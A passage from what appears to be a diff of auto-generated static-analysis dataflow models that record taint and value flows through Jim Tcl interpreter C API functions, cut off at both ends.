"Argument[1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**evalFrame].Field[*scriptObj]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjList", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjList", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[**3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalSource", "(Jim_Interp *,const char *,int,const char *)", "", "Argument[*3]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalSource", "(Jim_Interp *,const char *,int,const char *)", "", "Argument[3]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FileStoreStatData", "(Jim_Interp *,Jim_Obj *,const jim_stat_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FindHashEntry", "(Jim_HashTable *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_FindHashEntry", "(Jim_HashTable *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_FormatString", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FreeObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_FreeObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolean", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetCallFrameByLevel", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[**bytes]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetCallFrameByLevel", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[*bytes]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetCommand", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetCommand", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetDouble", "(Jim_Interp *,Jim_Obj *,double *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[**2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetExitCode", "(Jim_Interp *)", "", "Argument[*0].Field[*exitCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetGlobalVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetHashTableIterator", "(Jim_HashTable *)", "", "Argument[*0]", "ReturnValue[*].Field[**ht]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetHashTableIterator", "(Jim_HashTable *)", "", "Argument[0]", "ReturnValue[*].Field[*ht]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetLong", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetReturnCode", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_GetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWide", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[**2]", "Argument[*0].Field[***privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[*2]", "Argument[*0].Field[**privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[2]", "Argument[*0].Field[*privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_IntHashFunction", "(unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_InteractivePrompt", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_Length", "(Jim_Obj *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ListAppendElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendList", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListAppendList", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_ListGetIndex", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListIndex", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListIndex", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[*4]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListInsertElements", "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)", "", "Argument[4]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[*2]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListJoin", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[3]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ListLength", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_ListRange", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListRange", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_ListSetIndex", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*result]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeGlobalNamespaceName", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeGlobalNamespaceName", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**result].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_MakeTempFile", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**result].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewDictObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewDoubleObj", "(Jim_Interp *,double)", "", "Argument[1]", "ReturnValue[*].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewIntObj", "(Jim_Interp *,long)", "", "Argument[1]", "ReturnValue[*].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewListObj", "(Jim_Interp *,Jim_Obj *const *,int)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "Jim_NewObj", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NewObj", "(Jim_Interp *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewStringObj", "(Jim_Interp *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjNoAlloc", "(Jim_Interp *,char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_NewStringObjUtf8", "(Jim_Interp *,const char *,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "Jim_NextHashEntry", "(Jim_HashTableIterator *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_NextHashEntry", "(Jim_HashTableIterator *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_ParseSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ReaddirCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegexpCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_RegsubCmd", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_RenameCommand", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_RenameCommand", "(Jim_Interp 